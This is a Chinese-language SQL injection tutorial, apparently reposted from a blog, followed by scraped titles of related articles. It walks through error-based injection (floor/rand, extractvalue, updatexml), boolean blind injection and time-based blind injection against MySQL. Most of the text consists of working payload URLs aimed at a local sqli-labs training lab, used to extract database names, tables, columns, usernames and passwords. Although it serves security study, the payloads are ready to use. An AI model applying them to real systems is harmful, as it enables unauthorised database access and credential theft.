1.1 sql注入分类与详解

1.基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来

报错注入是比较常见的错误,主要通过页面返回的php代码解析错误,来进行匹配,爆破

基于错误的sql语句的构造

1.几个重要的函数

-count():统计元素的个数

-rand():用于产生一个0~1的随机数

-floor():向下取整

-rand(0)*2将取0到2的随机数

-floor(rand()*2)有两条记录就会报错

-floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的

-count(*)是用来统计结果的,相当于刷新一次结果

-group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话                                                     -count(*)加1在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚                                                    表时会再执行一次

2.构造语句,造成逻辑错误


information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,

数据库的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数

据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等

等信息都保存在information_schema表里面。


       字段

                          含义

table_catalog

   数据表登记目录 

table_schema

   数据表所属的数据库名

table_name

   表名称

table_type

   表类型

table_rows

   表中所存多少行数据

爆出数据库中的所有数据库名:

select schema_name from information_schema.schemata;

爆出数据库中所有表名:

select table_name from information_schema.tables;

爆出数据库中的列名:

select column_name from information_schema.columns where table_name=‘wp_users‘;

floor(rand(()*2)  只会产生位于0~1之间的数

select table_name,table_schema from information_schema.tables group by table_schema;

即可以从information_schema.tables中查询出表,跟数据库

0x3a是 :的16进制

select group_concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name;

-————------

| name        |

|                  |

---------------

|                 |

|::security::0|

---------------

或者

-————------

| name        |

|                  |

---------------

|                  |

|::security::1|

---------------

concat()  : 连接两个或多个数组

select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;

-------————-----------------

|                   |                    |

| count(*)     |     name      |

--------------------------------

|                   |                   |

|     45          |::security::0  |

|                   |                    |

|     41          |::security::1  |

--------------------------------

但是刷新几次发现了一个错误:

ERROR 1062(23000):Duplicate entry‘::security::1‘ for key ‘group_key‘;

但是这个错误却爆出了当前数据库名,这对我们SQL注入是有用的,同理,我们可以换成不同的函数来获取信息

select count(*),concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand()*2))name from

information_schema.tables group by name;

刷新多遍,发现这个错误果然可以爆出数据库的版本信息

这样的话,我们可以尝试爆表名

select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;

多次刷新

竟然真的爆出了表的名字,我们还可以通过改变limit 0,1 来获取更多地表名

这里顺便补充一下limit 0,1 的用法  :

select * from table limit m,n

其中m是指记录开始的index,从0开始,表示第一条记录,n是指从第m+1条开始,取n条。

limit是mysql的语法

select * from table limit m,n

其中m是指记录开始的index,从0开始,表示第一条记录

n是指从第m+1条开始,取n条。

select * from tablename limit 2,4

即取出第3条至第6条,4条记

同理我们换成比较麻烦的来爆出表的名字

http://127.0.0.1/sqlilabs/Less-5/?id=-1‘ and  (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%2

http://127.0.0.1/sqlilabs/Less-5/?id=-1‘ and  (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=‘users‘ limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

我们可以找到username,password字段

http://127.0.0.1/sqlilabs/Less-5/?id=-1‘ and  (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

可以爆出用户名

http://127.0.0.1/sqlilabs/Less-5/?id=-1‘ and  (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

可以爆出用户名对应的用户密码

其他方法


1、通过floor报错,注入语句如下:

爆数据库:

http://127.0.0.1/sqlilabs/Less-5/?id=-1‘ and  (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

爆表:

http://127.0.0.1/sqlilabs/Less-5/?id=-1‘ and  (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

爆字段:

http://127.0.0.1/sqlilabs/Less-5/?id=-1‘ and  (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=‘users‘ limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

爆用户名:

http://127.0.0.1/sqlilabs/Less-5/?id=-1‘ and  (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

爆密码:

http://127.0.0.1/sqlilabs/Less-5/?id=-1‘ and  (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23

2、通过ExtractValue报错,注入语句如下:

爆数据库:

and extractvalue(1, concat(0x5c, (select database()),0x5c));

爆表:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5c));

爆字段:

and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),0x5c));

爆用户:

and extractvalue(1, concat(0x5c, (select username from users limit 0,1),0x5c));

爆密码:

and extractvalue(1, concat(0x5c, (select password from users limit 0,1),0x5c));

3、通过UpdateXml报错,注入语句如下:

爆数据库:

and 1=(updatexml(1,concat(0x3a,(select database()),0x3a),1))

爆表:

and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1))

爆字段:

and 1=(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name=‘users‘ limit 0,1),0x3a),1))

爆用户:

and 1=(updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1))

爆密码:

and 1=(updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1))



2:基于布尔 SQL 盲注----------构造逻辑判断

1:基于布尔 SQL 盲注----------构造逻辑判断

▲ left(database(),1)>’s’ //left()函数

Explain: database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位

上面语句也就是判断数据库的第一位的ascill的值是否大于8,如果是页面就返回正常

用法:http://127.0.0.1/sqlilabs/Less-7/?id=1‘ and left(database())>=8%23

▲ ascii(substr((select table_name information_schema.tables where tables_schema =database() limit 0,1),1,1))=101 --+

//substr()函数,ascii()函数

Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23

//ORD()函数,MID()函数

Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位       Ord()函数同 ascii(),将字符转为 ascii 值

▲regexp 正则注入

正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html

用法介绍:

select user() regexp ‘^[a-z]‘;

Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。

第二位可以用

select user() regexp ‘^ro‘

来进行。

示例介绍:

select * from users where id=1 and 1=(if((user() regexp ‘^r‘),1,0));

select * from users where id=1 and 1=(user() regexp‘^ri‘);

通过 if 语句的条件判断,返回一些条件句,比如 if 等构造一个判断。根据返回结果是否等 于 0 或者 1 进行判断。 III

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security‘ and table_name regexp ‘^us[a-z]‘ limit 0,1);

这里利用 select 构造了一个判断语句。我们只需要更换 regexp 表达式即可

‘^u[a-z]‘ -> ‘^us[a-z]‘ -> ‘^use[a-z]‘ -> ‘^user[a-z]‘ -> FALSE

如何知道匹配结束了?这里大部分根据一般的命名方式(经验)就可以判断。但是如何你在 无法判断的情况下,可以用

table_name regexp ‘^username$

‘来进行判断。^是从开头进行 匹配,$是从结尾开始判断。更多的语法可以参考 mysql 使用手册进行了解


3:基于时间的 SQL 盲注----------延时注入

▲ If(ascii(substr(database(),1,1))>115,0,sleep(5))%23

//if 判断语句,条件为假, 执行 sleep

Ps:遇到以下这种利用 sleep()延时注入语句

select sleep(find_in_set(mid(@@version, 1, 1), ‘0,1,2,3,4,5,6,7,8, 9,.‘));

该语句意思是在 0-9 之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可 取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。

▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达 式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep()

函数进行注入。

猜测数据库:

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

说明第一位是 s (ascii 码是 115)

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第二位是 e (ascii 码是 101) ....

以此类推,我们知道了数据库名字是 security

猜测 security 的数据表:

http://127.0.0.1/sqllib/Less-9/?id=1‘and If(ascii(substr((select table_name from information_s chema.tables where table_schema=‘security‘ limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是 e,...

依次类推,得到 emails

http://127.0.0.1/sqllib/Less-9/?id=1‘and If(ascii(substr((select table_name from information_s chema.tables where table_schema=‘security‘ limit 1,1),1,1))=114,1,sleep(5))--+

猜测第二个数据表的第一位是 r,...

依次类推,得到 referers ...

再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users

猜测 users 表的列:

http://127.0.0.1/sqllib/Less-9/?id=1‘and If(ascii(substr((select column_name from information _schema.columns where table_name=‘users‘ limit 0,1),1,1))=105,1,sleep(5))--+

猜测 users 表的第一个列的第一个字符是 i,

以此类推,我们得到列名是 id,username,password

猜测 username 的值:

http://127.0.0.1/sqllib/Less-9/?id=1‘and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+

猜测 username 的第一行的第一位 以此类推,我们得到数据库 username,password 的所有内容

以上的过程就是我们利用 sleep()函数注入的整个过程,当然了可以离开 BENCHMARK()函数进 行注入,这里可以自行进行测试。我们这里就不进行演示了

原文地址:https://www.cnblogs.com/bmjoker/p/8797027.html

时间: 2024-08-01 14:14:08

1.1 sql注入分类与详解的相关文章

SQL注入攻防入门详解(2)

SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口.这几天把sql注入的相关知识整理了下,希望大家多多提意见. (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文

[转]SQL注入攻防入门详解

原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口.这几天把sql注入的相关知识整理了下,希望大家多多提意见. (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么

SQL注入攻防入门详解

原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口.这几天把sql注入的相关知识整理了下,希望大家多多提意见. (对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么

【转载】SQL注入攻防入门详解

滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园  首页  博问  闪存    联系  订阅 管理 随笔-58 评论-2028 文章-5  trackbacks-0 站长统计|  今日IP[353] | 今日PV[848] | 昨日IP[922] |  昨日PV[2188] |当前在线[10] SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但

程序员常用的3大Web安全漏洞防御解决方案:XSS、CSRF及SQL注入(图文详解)

https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面列举一些常见的安全漏洞和对应的防御措施.01 常见的Web安全问题 1.前端安全 XSS 漏洞 CSRF 漏洞 2.后端安全 SQL 注入漏洞 程序员学架构mikechen优知02 XSS漏洞 1.XSS简介 跨站脚本(cross site script)简称为XSS,是一种经常出现在web应用中的

Drupal 7.31 SQL注入漏洞利用详解及EXP

 有意迟几天放出来这篇文章以及程序,不过看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,不过说实话这个洞威力挺大的,当然,这也是Drupal本身没有意料到的. 0x00 首先,这个漏洞真的很大,而且Drupal用的也比较多,应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp.不过,这个洞好像不怎么被重视,这也是极为不合适. 0x01 关于漏洞的原理和POC在我的博客上已经有文章进行解释,这里只是着重说一下利用过程.配合POC的

SQL Server表分区详解

原文:SQL Server表分区详解 什么是表分区 一般情况下,我们建立数据库表时,表数据都存放在一个文件里. 但是如果是分区表的话,表数据就会按照你指定的规则分放到不同的文件里,把一个大的数据文件拆分为多个小文件,还可以把这些小文件放在不同的磁盘下由多个cpu进行处理.这样文件的大小随着拆分而减小,还得到硬件系统的加强,自然对我们操作数据是大大有利的. 所以大数据量的数据表,对分区的需要还是必要的,因为它可以提高select效率,还可以对历史数据经行区分存档等.但是数据量少的数据就不要凑这个热

SQL Server with(nolock)详解

原文:SQL Server with(nolock)详解 大家在写查询时,为了性能,往往会在表后面加一个nolock,或者是with(nolock),其目的就是查询是不锁定表,从而达到提高查询速度的目的. 什么是并发访问:同一时间有多个用户访问同一资源,并发用户中如果有用户对资源做了修改,此时就会对其它用户产生某些不利的影响,例如: 1:脏读,一个用户对一个资源做了修改,此时另外一个用户正好读取了这条被修改的记录,然后,第一个用户放弃修改,数据回到修改之前,这两个不同的结果就是脏读. 2:不可重

sql语句联合查询详解

sql语句联合查询详解 2011-03-01 18:58:22|  分类: mysql|举报|字号 订阅 例子: person表和user表没有约束person表: user表: 有以下几种关联 1.UNION 格式:查询语句 UNION [ALL] 查询语句 [UNION [ALL] 查询语句][…n] 说明:ALL选项表示将所有行合并到结果集合中.不指定该项时,被联合查询结果集合中的重复行将只保留一行. 在包括多个查询的UNION语句中,其执行顺序是自左至右,使用括号可以改变这一执行顺序.例